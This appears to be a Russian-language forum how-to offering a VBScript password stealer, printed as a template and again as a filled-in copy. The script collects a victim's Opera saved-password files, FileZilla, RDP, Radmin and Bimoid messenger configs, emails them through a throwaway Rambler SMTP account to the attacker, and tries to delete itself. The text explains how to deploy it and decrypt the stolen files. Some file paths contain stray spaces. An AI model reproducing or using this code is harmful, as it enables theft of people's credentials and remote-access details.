on error resume next

sender = "левое мыло типа 2352@rambler.ru" Зарегай любое левое мыло

pass = "пароль от левого мыла" Пароль от него

smtp = "и smtp левого мыла smtp.rambler.ru"

recv = "сюда своё мыло" а тут впиши своё мыло

Set IE=CreateObject("InternetExplorer.Application")

Set WinShell=CreateObject("WScript.Shell")

Set iMsg = CreateObject("CDO.Message")

Set iConf = CreateObject("CDO.Configuration")

Set Flds = iConf.Fields

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")=sender

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")=pass

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")=smtp

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25

Flds.Update

iMsg.Configuration = iConf

iMsg.To = recv

iMsg.From = sender

iMsg.Subject = WinShell.ExpandEnvironmentStrings("%computername%" )

iMsg.TextBody = "Computername: "&WinShell.ExpandEnvironmentStrings("%computername %") & " Username: "&WinShell.ExpandEnvironmentStrings("%username %")

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\O pera\Opera\wand.dat"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\O pera\Opera\profile\wand.dat"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\F ileZilla\filezilla.xml"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%") &"\Мои документы\Default.rdp"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\R admin\radmin.rpb"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%") &"\Local Settings\Application Data\Bimoid\Users\User0001\ObimpUser.ini"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%") &"\Local Settings\Application Data\Bimoid\Bimoid.ini"

iMsg.Send

fso.deletefile WScript.ScriptFullName, True

ИЗМЕНЯЕШЬ ПОД СЕБЯ СОХРАНЯЕШЬ КАК .vbs Проверяешь своё мыло.Сохраняешь присланные файлы с твоего компа и расшифровываешь с помощью программы Multi_Password_Recovery_1.1.9_Portable.

Вообще смотри готовый типо

on error resume next

sender = "zzzzzzzzzz@rambler.ru"

pass = "zzzzzzzzz"

smtp = "smtp.rambler.ru"

recv = "dddsss@yandex.ru"

Set IE=CreateObject("InternetExplorer.Application")

Set WinShell=CreateObject("WScript.Shell")

Set iMsg = CreateObject("CDO.Message")

Set iConf = CreateObject("CDO.Configuration")

Set Flds = iConf.Fields

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")=sender

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")=pass

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")=smtp

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25

Flds.Update

iMsg.Configuration = iConf

iMsg.To = recv

iMsg.From = sender

iMsg.Subject = WinShell.ExpandEnvironmentStrings("%computername%" )

iMsg.TextBody = "Computername: "&WinShell.ExpandEnvironmentStrings("%computername %") & " Username: "&WinShell.ExpandEnvironmentStrings("%username %")

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\O pera\Opera\wand.dat"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\O pera\Opera\profile\wand.dat"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\F ileZilla\filezilla.xml"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%") &"\Мои документы\Default.rdp"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\R admin\radmin.rpb"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%") &"\Local Settings\Application Data\Bimoid\Users\User0001\ObimpUser.ini"

iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%") &"\Local Settings\Application Data\Bimoid\Bimoid.ini"

iMsg.Send

fso.deletefile WScript.ScriptFullName, True